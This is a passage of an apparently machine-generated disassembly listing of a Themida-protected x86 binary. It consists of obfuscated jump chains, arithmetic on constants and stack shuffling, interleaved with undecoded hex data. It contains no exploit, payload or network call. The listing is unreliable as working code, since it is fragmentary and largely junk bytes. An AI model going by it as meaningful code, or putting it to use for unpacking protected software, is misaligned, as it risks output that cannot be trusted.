; ---------------------------------------------------------------------------
		dw 295Ah
		dd 1C3358C3h, 241C3124h, 0FF57F8E9h, 81D6F7FFh,	17733DEEh
		dd 21890555h, 0F029509Eh, 9E21892Dh, 0B7E95E50h, 5CFFFF5Dh
		dd 5F2434FFh, 4C481h, 5FE90000h, 1FFFF7Eh, 0ABE981D9h
		dd 5B6DEF1Eh, 0FF473FE9h, 34FF54FFh, 0C4815E24h, 4, 4BF57h
		dd 0EE810000h, 74AB65F6h, 0C681FE01h, 74AB65F6h, 4EC815Fh
		dd 89000000h, 0E189240Ch, 4C181h, 0E9830000h, 240C8704h
		dd 0DD92E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60F41A:				; CODE XREF: Themida_:0060E4C7j
		push	esi
		mov	esi, 1
		add	ebx, esi
		pop	esi
		xor	ebx, 7EA82264h
		xor	ebx, 780977A7h
		xor	ebx, 16292697h
		xor	ebx, 6C5D5CC8h
		and	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_605A13
; ---------------------------------------------------------------------------
		dd 3F03F4B9h, 22E98173h, 158B29Dh, 814359CBh, 0CA2117EBh
		dd 0F238E911h, 1489FFFFh
dword_60F468	dd 2B81BA24h, 0DAF72C8Bh, 0FFA5F3E9h, 3E3D05FFh, 355F4A08h
					; DATA XREF: Themida_:005F5562o
		dd 6B05613h, 5358C601h,	2BBh, 0B4DBE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60F48E:				; CODE XREF: Themida_:006043D5j
		pop	esi
		jmp	loc_6069C9
; ---------------------------------------------------------------------------
		dd 4EC8159h, 89000000h,	4BF243Ch, 1000000h, 89535FF9h
		dd 86D2E9E3h, 34FFFFh, 0FFC8C3E9h, 48966FFh, 3E1FE924h
		dd 0BEBBFFFFh, 0E932DA23h, 0FFFF6DB6h, 2EEC80h,	0E8E958E3h
		dd 66FFFFA6h, 5524048Bh, 0FA5CE954h, 8966FFFFh,	68662434h
		dd 9FE93ADAh, 0FFFFFF8Eh, 58042474h, 5C24048Fh,	0B8240489h
		dd 679B49DAh, 0FFE422E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60F501:				; CODE XREF: Themida_:0060709Cj
		shr	eax, 2
		shl	eax, 4
		xor	eax, 22D13FC1h
		or	edi, eax
		jmp	loc_60BACA
; ---------------------------------------------------------------------------


loc_60F513:				; CODE XREF: Themida_:00603F57j
					; Themida_:0060BEACj
		sub	esp, 4
		jmp	loc_60A023
; ---------------------------------------------------------------------------


loc_60F51E:				; CODE XREF: Themida_:0060DCB2j
		mov	edx, [esp]
		add	esp, 4
		shr	eax, 8
		xor	eax, ecx
		push	0FC8h
		mov	[esp], eax
		xchg	ebp, [esp]
		xchg	eax, ebp
		push	626Ah
		mov	[esp], eax
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xchg	eax, ebp
		xor	[esp], ebp
		jmp	loc_60CC13
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 0C8B6624h, 0E0895024h, 8A26856h, 835E669Bh
		dd 2C8904ECh, 66B85024h, 50553B65h, 0FF5F6BE9h,	4B951FFh
		dd 1000000h, 48759C8h, 4315C24h, 18E99C24h, 81FFFFCFh
		dd 4ECh, 24348900h, 940348BEh, 36AE682Ch, 0F7E90000h, 0C9FFFFE9h
		dd 0BDF8EBB7h, 9FF200Ah, 89F8E3B7h, 0A9006A51h,	86F88996h
		dd 6DFF8A32h, 3006A28h,	2000002h, 1000000h, 5000000h, 0A9000000h
		dd 0F88996h, 4 dup(0)
		dd 1000000h, 19006144h,	6A0061ACh, 9500614Fh, 7F0061B1h
		dd 0AB006129h, 2A00616Ch, 0FA006154h, 8F00615Bh, 0C2006161h
		dd 0A0006134h, 84006189h, 500614Dh, 0BA0061B2h,	69006144h
		dd 3C006108h, 0D200610Bh, 930061B7h, 2600617Dh,	0A200612Fh
		dd 5B00616Eh, 0CA00619Fh, 0AA0061BAh, 88006108h, 6D006116h
		dd 79006147h, 29006136h, 67006142h, 0DF006128h,	0D2006143h
		dd 0CB006166h, 9F00612Ch, 5C006117h, 200060F9h,	6700613Bh
		dd 9A0061B2h, 0B000615Eh, 0DB00614Ah, 610061B7h, 20006135h
		dd 9C006159h, 0F90060FCh, 25006193h, 50061BDh, 4006157h
		dd 2A006100h, 390061B9h, 0DD006154h, 81006154h,	41006197h
		dd 8E006193h, 73006133h, 0D3006193h, 29006152h,	5A006134h
		dd 2B00616Fh, 0A50061B3h, 360061A6h, 0FB00616Bh, 0EB00619Bh
		dd 2D006198h, 2F00610Bh, 1F006192h, 0E500611Ah,	510061B8h
		dd 9600613Bh, 870060FFh, 6006120h, 0D5006189h, 40061B5h
		dd 550061A6h, 0E200613Ch, 650061B0h, 0DB006191h, 43006194h
		dd 8800612Eh, 0B700619Ah, 1C0061A3h, 470061BCh,	0E6006179h
		dd 0B500617Bh, 5F0060FCh, 0AA0061B0h, 4800617Ah, 0C50061B4h
		dd 0A100613Ch, 7C006153h, 2A00614Ah, 0F4006138h, 0B300612Ah
		dd 47006101h, 5006101h,	22006149h, 72006109h, 53006190h
		dd 0B3006116h, 0D006103h, 7A00615Eh, 0AE006160h, 9C006154h
		dd 8B0060FFh, 4500615Ch, 0DD006175h, 32006190h,	0A600610Ch
		dd 4600617Ch, 0F700613Eh, 16006176h, 7F0061B2h,	0EB006119h
		dd 770061B9h, 36006174h, 53006149h, 0F1006175h,	0E400619Eh
		dd 0D006176h, 9006132h,	0D70061AEh, 3F006188h, 20006156h
		dd 0AC006131h, 7300618Fh, 0A70061A2h, 5000616Ah, 86006143h
		dd 610061A3h, 0FA00614Dh, 0FE0060FAh, 0DB006133h, 0D8006185h
		dd 0B006144h, 6006113h,	5C0060FDh, 0CA0061A1h, 0D4006167h
		dd 0F50061ABh, 8E00610Ah, 650061BAh, 0A3006188h, 9D006168h
		dd 1F006160h, 0F70061A6h, 8B0060FDh, 52006123h,	2006123h
		dd 0DE006121h, 83006125h, 0D500613Bh, 89006180h, 2C00616Ah
		dd 4600613Fh, 670061A5h, 0BC006190h, 0E400617Ch, 30006130h
		dd 0EC0060FEh, 31006118h, 0F30061A4h, 0F400613Dh, 0BD00610Dh
		dd 0D006180h, 24006121h, 43006189h, 8B00612Ch, 73006110h
		dd 200061A6h, 23006171h, 600061A8h, 0E8FC9Ch, 5F000000h
		dd 61E6EF81h, 0C78B07D7h, 5EFEC781h, 473B07D7h,	0EB02752Ch
		dd 2C478913h, 0A7B9h, 105EB00h,	49408F44h, 0F775C90Bh
		dd 2424748Bh, 0F003DE8Bh, 1B9h,	0F0C03300h, 304FB10Fh
		db 75h,	0F7h
; ---------------------------------------------------------------------------


loc_60F8CE:				; CODE XREF: Themida_:006101FEj
					; Themida_:00610215j ...
		lodsb
		jmp	loc_6110CF
; ---------------------------------------------------------------------------
		dd 0A47B83B8h, 1ED6E911h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_60F8DE:				; CODE XREF: Themida_:0061BAB1j
		xor	eax, 1E631FF4h
		jmp	loc_617330
; ---------------------------------------------------------------------------


loc_60F8E8:				; CODE XREF: Themida_:0061B5EBj
		push	ebx
		jmp	loc_615DED
; ---------------------------------------------------------------------------


loc_60F8EE:				; CODE XREF: Themida_:00615DE8j
		xor	[esp+4], edi
		pop	edi
		pop	dword ptr [edi+20h]
		push	ebx
		mov	ebx, 20h
		jmp	loc_61A441
; ---------------------------------------------------------------------------
		db 47h,	0C1h, 0E7h
		dd 89F78105h, 8189043Dh, 1EFh, 0A820E900h, 0EC830000h
		dd 890EE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_60F91E:				; CODE XREF: Themida_:0061A355j
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_616227
; ---------------------------------------------------------------------------
aSsuc		db 'S',0
		dw 5100h
		dd 1E027068h, 94D0E973h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_60F94E:				; CODE XREF: Themida_:00618205j
		add	ebx, ebp
		pop	ebp
		add	ebx, 2
		sub	esp, 4
		jmp	loc_61B8DD
; ---------------------------------------------------------------------------
		dd 0E902EC83h, 7504h, 0C781E789h, 4, 35DE9h, 240C8900h
		dd 0B75336B5h, 6E7C082h, 0C003EFC0h, 0E95008EFh, 6EE0h
; ---------------------------------------------------------------------------


loc_60F988:				; CODE XREF: Themida_:0061B416j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 6B1C6D0Ch
		push	edi
		jmp	loc_6158D5
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 4E404E0Ah, 0E949E9D1h, 59Ch, 5253E689h
		dd 0FB43B5BAh, 5AD38970h, 755EB951h, 0E181240Ch, 3D4A2D25h
		dd 5CA5E181h, 0C0E9402Dh
		db 9Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_60F9D3:				; CODE XREF: Themida_:00618334j
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_61A120
; ---------------------------------------------------------------------------
aLSB		db '<$%B',0
		dw 8900h
aSs		db '',0
		align 2
aRwShx		db 'rwShX',9,0
		align 4
		dd offset dword_5BF27C+36Dh
		dd 6FC38100h, 0E935CE16h, 3EAEh, 5D2414F7h, 8612F581h
		dd 4E9B9DFh, 89000034h,	0E2D15FFAh, 9382EA81h, 0D5017B6Eh
		dd 268575Ah, 5F000000h,	555FFD01h, 0B9C8E9h
		db 0
; ---------------------------------------------------------------------------


loc_60FA31:				; CODE XREF: Themida_:00614332j
		mov	esi, ecx
		pop	ecx
		sub	ebp, esi
		pop	esi
		sub	ebp, 4AEF459Eh
		add	ebp, 24AAF55Ah
		mov	eax, ebp
		pop	ebp
		and	ecx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		shr	ecx, 0Ah
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		push	esi
		jmp	loc_615779
; ---------------------------------------------------------------------------


loc_60FA5F:				; CODE XREF: Themida_:00613B1Bj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2BA41B3Fh
		push	29B8h
		mov	[esp], ebp
		jmp	loc_61BE37
; ---------------------------------------------------------------------------
		dw 0EF01h
		dd 2BD555Dh, 0E9000000h, 0C430h
; ---------------------------------------------------------------------------


loc_60FA88:				; CODE XREF: Themida_:006165CBj
		dec	edi
		jmp	loc_60FFE5
; ---------------------------------------------------------------------------
aYwsu		db 'YW',0
		dd 5B35300h, 1C46E9h, 24348900h, 0E0673DBEh, 8F5FE94Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_60FAAA:				; CODE XREF: Themida_:006134EDj
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		jmp	loc_613E66
; ---------------------------------------------------------------------------


loc_60FABA:				; CODE XREF: Themida_:00617261j
		mov	ecx, [esp]
		push	300Ch
		mov	[esp], edi
		push	esp
		jmp	loc_611A9F
; ---------------------------------------------------------------------------
		db 54h
		dd 81241C8Bh, 4C4h, 62BEE900h, 29660000h, 24348BF5h, 4C481h
		dd 81660000h, 6696B1F5h, 6618612Dh, 5166E829h, 477CE956h
		dd 8B660000h, 1AE92404h, 89000089h, 4C281E2h, 81000000h
		dd 4C2h, 24148700h, 0BD555E5Ch,	2, 70C3E9h, 50EB8100h
		dd 814D8A76h, 4240BEC3h, 0C1EB8103h, 810C4200h,	880621EBh
		dd 8F6634h, 0FFFD8DE9h,	241489FFh, 0D03079B2h, 0E92434FFh
		dd 3D69h, 0C681E689h, 4, 4EE81h, 91E90000h, 55000003h
		dd 4BDh, 5DEB0100h, 0B037E9h, 0B3536600h, 66D8284Ah, 58C1885Bh
		dd 54B65253h, 0D4F6E686h, 88E78853h, 5BFE88F4h,	0F62CB450h
		dd 3B83E9DCh, 0CD810000h, 387168DAh, 5303ED81h,	0E831E3A2h
		dd 59552D5Dh, 0DE9514Ch, 580000A6h, 0E9242C33h,	0C0FBh
		dd 0F6CCE780h, 80C7FEDFh, 0FB2CC4EFh, 16E9F800h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_60FBCB:				; CODE XREF: Themida_:006189BDj
		push	ebx
		jmp	loc_614BE1
; ---------------------------------------------------------------------------


loc_60FBD1:				; CODE XREF: Themida_:006112CDj
		pop	esp
		jmp	loc_6194E2
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 243C8900h, 3A58E9h, 4C78100h, 81000000h, 4C7h
		dd 85E95700h, 5C000044h, 241C8966h, 8904EC83h, 98B42404h
		dd 0C004E4C0h, 0C48006ECh, 6E4C043h, 8AAB652h, 35E95AF4h
		dd 8B000060h, 0ABE92424h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60FC23:				; CODE XREF: Themida_:00611D02j
		add	esp, 4
		jmp	loc_614D3C
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 110BBA52h, 0F28176A4h, 4386006Ch, 0EE9DC281h, 0C381CADDh
		dd 29610946h, 0EB81D301h, 29610946h, 4C3815Ah, 87000000h
		dd 0E5E9241Ch
		db 87h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_60FC5F:				; CODE XREF: Themida_:00617E72j
		mov	[esp], ebx
		push	5015h
		mov	[esp], esp
		jmp	loc_6189A9
; ---------------------------------------------------------------------------
		db 5Eh
		dd 835AD301h, 0EB81FFEBh, 57E886C4h, 535BD901h,	20211EBBh
		dd 2BCB8168h, 812D4852h, 0A262A4C3h, 1FC38109h,	0E988F52Ah
		dd 913Dh, 28B6664h, 795868h, 24348900h,	0B951E689h, 4
		dd 4B8AE9h, 0E9028F00h,	64E2h, 74FF535Fh, 0E95B0424h, 2584h
		dd 886DE956h, 0EF810000h, 4, 8B243C87h,	0EAE92424h, 0B1000026h
		dd 7462E925h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_60FCE6:				; CODE XREF: Themida_:00618F57j
		pop	edx
		sub	esi, 19E754ECh
		push	edx
		mov	edx, 2AC20915h
		and	edx, 2D9153BFh
		push	ecx
		mov	ecx, 471E5DD7h
		sub	edx, ecx
		jmp	loc_61A642
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0BB241C89h, 53947h, 5CDB68h, 99C1E900h, 575E0000h
		dd 1464E9h
		db 0
; ---------------------------------------------------------------------------


loc_60FD25:				; CODE XREF: Themida_:00614AC0j
		pop	edx
		xchg	esi, [esp]
		pop	esp
		push	ebp
		push	ebx
		mov	ebx, 1
		push	ebx
		xor	dword ptr [esp], 62B3188Bh
		jmp	loc_619E22
; ---------------------------------------------------------------------------
		dw 8BBh
		dd 0E9435001h, 7FEh, 5C241487h,	1467E9h, 242C8700h, 1287E95Ch
		dd 44290000h, 6E90424h
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_60FD63:				; CODE XREF: Themida_:006174F8j
		xor	edx, 2FE26BC0h
		not	edx
		add	edx, 0DD28035Bh
		xor	esi, edx
		pop	edx
		shr	esi, 1
		jmp	loc_61A94A
; ---------------------------------------------------------------------------
		db 68h
		dd 39C8h, 0B9240C89h, 3BF37044h, 0C108E1C1h, 0F18104E1h
		dd 29DD7C76h, 0B97AE9h,	243C3300h, 33243C31h, 0AE9243Ch
		dd 5E00007Fh, 2474FF51h, 8BE95904h, 80000068h, 0E28023CAh
		dd 35E1E9F2h, 0BE90000h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60FDC3:				; CODE XREF: Themida_:00618825j
		push	ebp
		jmp	loc_619A35
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0C7009BEh, 72EE8163h, 81289778h, 0A66935F6h,	0E6C14621h
		dd 523FE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_60FDE6:				; CODE XREF: Themida_:00619E26j
		add	esp, 4
		xor	ebp, 62B3188Bh
		jmp	loc_60FF8A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0DC682404h, 89000009h, 5A542414h, 4DD368h, 243C8900h
		dd 793A4CBFh, 3EE78114h, 502B8E34h, 4AC2E9h, 0BE565B00h
		dd 68B371FFh, 6E73E953h, 0E9470000h, 1363h, 0FF2434FFh
		dd 0E9592434h, 4A38h
; ---------------------------------------------------------------------------


loc_60FE3C:				; CODE XREF: Themida_:00611105j
		pop	esi
		jmp	loc_612C74
; ---------------------------------------------------------------------------
		dw 5551h
		dd 353D8EBDh, 6355E903h, 0B8500000h, 5BC676FAh,	1D41E9h
		dd 5DEF3100h, 835FFB01h, 1C3304EBh, 241C3124h, 8B241C33h
		dd 14892424h, 8D5EE924h, 0C5010000h, 32FFBB53h,	0BA52030Eh
		dd 2AA71801h, 3EAC14Ah,	0F281D2F7h, 54EB0EFCh, 2890E9h
		dd 0E9F82800h, 2F40h, 0ED6271BDh, 8A3E907h, 835E0000h
		dd 0EF8104C4h, 1D013C28h, 27B7E9h, 4C78100h, 87000000h
		dd 315C243Ch, 6923E9C3h, 0C2810000h, 297F6129h,	3434E9h
		dd 0BA525500h, 752951CFh, 1D7BEA81h, 0CA815C41h, 13A3660Dh
		dd 5EAC142h, 0B793E9h
		db 0
; ---------------------------------------------------------------------------


loc_60FEED:				; CODE XREF: Themida_:00611371j
		shr	ebp, 1
		jmp	loc_61287E
; ---------------------------------------------------------------------------
		dd 5C243487h, 0E9242C89h, 0F72h
; ---------------------------------------------------------------------------


loc_60FF00:				; CODE XREF: Themida_:00613DB2j
		shl	edx, 1
		push	2DD5h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_61A692
; ---------------------------------------------------------------------------
		db 89h
		dd 0E0892404h, 4BF57h, 0F8010000h, 7D04E9h, 809EB400h
		dd 0D4F601C4h, 0E905ECC0h, 0BA50h
; ---------------------------------------------------------------------------


loc_60FF38:				; CODE XREF: Themida_:0061888Ej
		sub	edi, ebx
		pop	ebx
		xor	edi, 21730A33h
		mov	esi, edi
		pop	edi
		sub	esp, 4
		jmp	loc_6120A5
; ---------------------------------------------------------------------------
		dd 0AF51E981h, 0D1F7AFC6h, 381968h, 24148900h, 0CC64E5BAh
		dd 0C1D2F77Dh, 0C2E905E2h, 58000099h, 8B243C87h, 0B70F2424h
		dd 7C0668C8h, 0C890000h, 0F94CE924h, 0D988FFFFh, 0BDD7E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_60FF8A:				; CODE XREF: Themida_:0060FDF2j
		mov	ebx, [esp]
		push	edx
		push	esp
		pop	edx
		push	ecx
		jmp	loc_61574B
; ---------------------------------------------------------------------------
aMss8		db '8',0
		align 4
		dd 240C8B66h, 0AC40E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_60FFA6:				; CODE XREF: Themida_:00612412j
		mov	esi, 0E071BF5h
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		inc	esi
		shr	esi, 7
		push	edi
		mov	edi, 6383209Dh
		or	edi, 34F01347h
		and	edi, 3F1A49B6h
		add	edi, 15BA74DDh
		jmp	loc_61A71F
; ---------------------------------------------------------------------------
		db 28h
		dd 241C8BD8h, 5104C483h, 671AE9h
		db 0
; ---------------------------------------------------------------------------


loc_60FFE5:				; CODE XREF: Themida_:0060FA89j
		shr	edi, 1
		jmp	loc_610F63
; ---------------------------------------------------------------------------
		dd 4C381h, 0A1E90000h, 8100005Bh, 933993C7h, 0E9F7010Dh
		dd 2B46h, 0FF2434FFh, 48B2434h,	7202E924h, 0EE800000h
		dd 53A204BCh, 0F780C7B7h, 0ADEF8068h, 80ECF780h, 0F828BDC7h
		dd 0E9F0285Bh, 8C73h
; ---------------------------------------------------------------------------


loc_610030:				; CODE XREF: Themida_:006144CEj
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		shr	ecx, 7
		jmp	loc_617800
; ---------------------------------------------------------------------------
		dd 3EE3EF81h, 0F931BD8Ch, 83243C8Bh, 22E904C4h,	58000055h
		dd 8B66F830h, 0C483241Ch, 83D8E902h, 295A0000h,	31E2E9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61006E:				; CODE XREF: Themida_:0061641Fj
		xor	eax, ecx
		push	7C44h
		jmp	loc_6128CF
; ---------------------------------------------------------------------------


loc_61007A:				; CODE XREF: Themida_:00615020j
		neg	ecx
		dec	ecx
		jmp	loc_61361B
; ---------------------------------------------------------------------------
		dw 0E581h
		dd 591541E0h, 2ECFE9h, 24348900h, 8904EC83h, 78BA2414h
		dd 0E953032Eh, 9A06h, 0E9242C89h, 2F17h, 8904EC83h, 93B42404h
		dd 3983E9h
		db 0
; ---------------------------------------------------------------------------


loc_6100B5:				; CODE XREF: Themida_:0061462Bj
		push	ecx
		mov	ecx, 1A746F06h
		shr	ecx, 7
		shr	ecx, 5
		add	ecx, 7359296Ch
		xor	ecx, 4F4CE0DDh
		xor	edx, ecx
		jmp	loc_619942
; ---------------------------------------------------------------------------


loc_6100D4:				; CODE XREF: Themida_:006128C4j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_6187B8
; ---------------------------------------------------------------------------
		db 20h
		dd 0C8B66E8h, 2C48324h,	24668h,	241C8900h, 26B85050h, 813AEA42h
		dd 0E2042444h, 0E9091175h, 0FFFFFC52h, 0C781E789h, 4, 4C781h
		dd 3C330000h, 243C3124h, 8B243C33h, 0AF0F2424h,	6C4BE9C8h
		dd 0E7C00000h, 0AC80E906h, 5400000h, 5838AB2Ch,	8B58C101h
		dd 0C4832404h, 0DDE95104h, 66000021h, 68240C8Bh, 5EE5h
		dd 54242C89h, 4B9515Dh,	0E9000000h, 1BCh, 7B2C892Ch, 572C6004h
		dd 0E958C328h, 8E8Dh
; ---------------------------------------------------------------------------


loc_610170:				; CODE XREF: Themida_:0061604Bj
		push	edx
		mov	edx, 17A1299Eh
		shr	edx, 3
		not	edx
		shr	edx, 2
		not	edx
		sub	edx, 7FB25267h
		push	eax
		mov	eax, 15E116CCh
		shl	eax, 7
		dec	eax
		push	edi
		mov	edi, 579D6AF8h
		jmp	loc_617C5F
; ---------------------------------------------------------------------------
		db 2Ch
		dd 4EC813Ch, 89000000h,	0E7B5240Ch, 2050B353h, 0AEE95BDDh
		dd 66000079h, 661A9F68h, 66028468h, 48F6654h, 4816624h
		dd 66000224h, 6624048Fh, 661BE268h, 51242C89h, 6C52B966h
		dd 0B9BF6657h, 0F7816679h, 8166211Dh, 0E96590CFh, 83CCh
; ---------------------------------------------------------------------------


loc_6101EC:				; CODE XREF: Themida_:00617662j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_6153D4
; ---------------------------------------------------------------------------


loc_6101F5:				; CODE XREF: Themida_:0061398Fj
		xor	edi, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		jmp	loc_60F8CE
; ---------------------------------------------------------------------------


loc_610203:				; CODE XREF: Themida_:0061AA0Cj
		mov	eax, [esp]
		add	esp, 4
		or	[edi+1Ch], ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_60F8CE
; ---------------------------------------------------------------------------


loc_61021A:				; CODE XREF: Themida_:0061AB29j
		push	eax
		mov	eax, 664A5AA3h
		or	ebx, eax
		pop	eax
		inc	ebx
		add	ebx, 9013Ah
		xor	ebx, 0CE5E8EA5h
		mov	ecx, ebx
		pop	ebx
		push	1982h
		mov	[esp], ebx
		jmp	loc_619102
; ---------------------------------------------------------------------------


loc_610240:				; CODE XREF: Themida_:00612063j
		add	ebp, 3FAD4A40h
		push	edx
		mov	edx, 9A4314F2h
		add	ebp, edx
		jmp	loc_61BAAA
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFF676h, 15BD801h, 7E2AE9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_610262:				; CODE XREF: Themida_:0061A10Bj
		pop	eax
		xor	ebx, 637A15B3h
		or	edx, ebx
		jmp	loc_61B596
; ---------------------------------------------------------------------------


loc_610270:				; CODE XREF: Themida_:006116DEj
		not	cx
		jmp	loc_610E97
; ---------------------------------------------------------------------------
		dd 24048F59h, 99F9E95Ch, 8B660000h, 0C481241Ch,	2, 81E18951h
		dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 96E92434h, 68000005h
		dd 0
		dd 5A241429h, 5ECDC281h, 0D7211C3Dh, 14BAE95Ah,	6FBD0000h
		dd 0E95FF7EFh, 3F26h, 4EC81h, 14890000h, 0F8685624h, 5E129516h
		dd 8104E6C1h, 96D8F7F6h, 5EF289B1h, 9DE9D101h
		db 0B2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_6102EB:				; CODE XREF: Themida_:0061097Bj
		sub	edi, 41304C8Eh
		shr	edi, 2
		not	edi
		sub	edi, 0FFFFFFFFh
		jmp	loc_618BC9
; ---------------------------------------------------------------------------
		dw 15Bh
		dd 45C9E9F1h, 0EC830000h, 0C896602h, 15B05024h,	14F65066h
		dd 0E9586624h, 81FCh, 0E959CD01h, 19A4h, 18E9DE29h
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61032B:				; CODE XREF: Themida_:0061926Ej
		sub	ebp, edx
		pop	edx
		jmp	loc_6130D0
; ---------------------------------------------------------------------------
		db 88h
		dd 2434FFD9h, 4C4835Bh,	34FF0888h, 240C8B24h, 5004C483h
		dd 405E089h, 0E9000000h, 19B3h,	348BF529h, 0DFE95324h
		dd 2D000087h, 4, 4FE1E9h
		db 0
; ---------------------------------------------------------------------------


loc_610369:				; CODE XREF: Themida_:00610ED8j
		pop	edi
		add	ebp, edx
		pop	edx
		sub	ebp, 1
		xchg	ebx, ebp
		dec	ebx
		xchg	ebx, ebp
		add	ebp, 0B1E2016Eh
		add	edi, ebp
		pop	ebp
		push	esi
		mov	esi, 0F9B556Ah
		sub	edi, 24193DEBh
		add	edi, esi
		jmp	loc_6140DC
; ---------------------------------------------------------------------------
		dd 66D00166h, 0C231665Ah, 90ACE958h, 0C5810000h, 21C8386Ch
		dd 0FFF802E9h, 26E95EFFh, 0AC000096h, 0D62C362Ch, 0D604D828h
		dd 205CE9h, 0CCE95400h,	5B000031h, 80E3F180h, 0EB8023E9h
		dd 50CB28D0h, 3E0C1EB0h, 0EB809204h, 80C30045h,	595845C3h
		dd 28CAC380h, 0CAEB80C3h, 0E999C380h, 71E6h, 0B0FDE958h
		dd 0E9010000h, 5481E981h, 835D73F6h, 656804C1h,	89000069h
		dd 74FF240Ch, 8F590424h, 248B2404h, 9CC88524h, 0FFF4ADE9h
		dd 0E68956FFh, 4C681h, 0EE810000h, 4, 3BADE9h
		db 0
; ---------------------------------------------------------------------------


loc_610435:				; CODE XREF: Themida_:00615574j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_613CA6
; ---------------------------------------------------------------------------
		dw 315Dh
		dd 2434FFE8h, 0AD9BE9h,	5BDD2900h, 0B850D501h, 2CB674D7h
		dd 1463E9h, 81E38900h, 4C3h, 6E5BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61046E:				; CODE XREF: Themida_:00619367j
		add	edx, 105D5D9Fh
		sub	edx, ecx
		sub	edx, 105D5D9Fh
		pop	ecx
		push	ebp
		mov	ebp, 359958DEh
		shl	ebp, 2
		add	ebp, 9B9CDFEEh
		sub	edx, 7D1F14F2h
		sub	edx, ebp
		add	edx, 7D1F14F2h
		jmp	loc_617FCD
; ---------------------------------------------------------------------------
		db 0BEh
		dd 0FFFFFFFFh, 0D1BE9h,	81FA0100h, 7C6486EAh, 8132FF20h
		dd 4ECh, 241C8900h, 4EC81h, 3C890000h, 4952BF24h, 0D9E941CDh
		dd 0C1000032h, 0EDD106E5h, 5CE2E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6104DA:				; CODE XREF: Themida_:00615C86j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_616941
; ---------------------------------------------------------------------------
		db 30h
		dd 0FE5866C5h, 90F580CDh, 459E828h, 0E9C8283Dh,	1B80h
		dd 835FFB01h, 1C8702C3h, 24248B24h, 9C2404D3h, 0FFF3BDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_610511:				; CODE XREF: Themida_:0061A308j
		mov	ecx, [eax]
		pop	eax
		push	edx
		push	ebx
		jmp	loc_61611D
; ---------------------------------------------------------------------------


loc_61051B:				; CODE XREF: Themida_:00612046j
		and	eax, 1E640D41h
		xor	eax, 1EA524CFh
		add	eax, 336934F5h
		xor	eax, 621B6335h
		push	esi
		jmp	loc_61A700
; ---------------------------------------------------------------------------


loc_610535:				; CODE XREF: Themida_:00615018j
		add	ebp, ebx
		pop	ebx
		push	eax
		mov	eax, 0C411779h
		sub	edi, eax
		pop	eax
		jmp	loc_611C67
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 61F36D00h, 5AE9D909h, 8900005Dh, 2C9FE9E3h, 2C890000h
		dd 56E58924h, 8D2C80BEh, 0E9C68146h, 81440210h,	0F40F6FE6h
		dd 0F6814E7Eh, 53621FAFh, 0B098E9h, 81E18900h, 4C1h, 4C18300h
		dd 5C240C87h, 101BE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_610592:				; CODE XREF: Themida_:00615BBAj
		not	dword ptr [esp]
		pop	edx
		xor	edx, 0AFC331C2h
		jmp	loc_6112A2
; ---------------------------------------------------------------------------


loc_6105A1:				; CODE XREF: Themida_:0061BA6Bj
		xchg	edx, [esp]
		pop	esp
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_619647
; ---------------------------------------------------------------------------


loc_6105B3:				; CODE XREF: Themida_:0061483Aj
		add	esp, 4
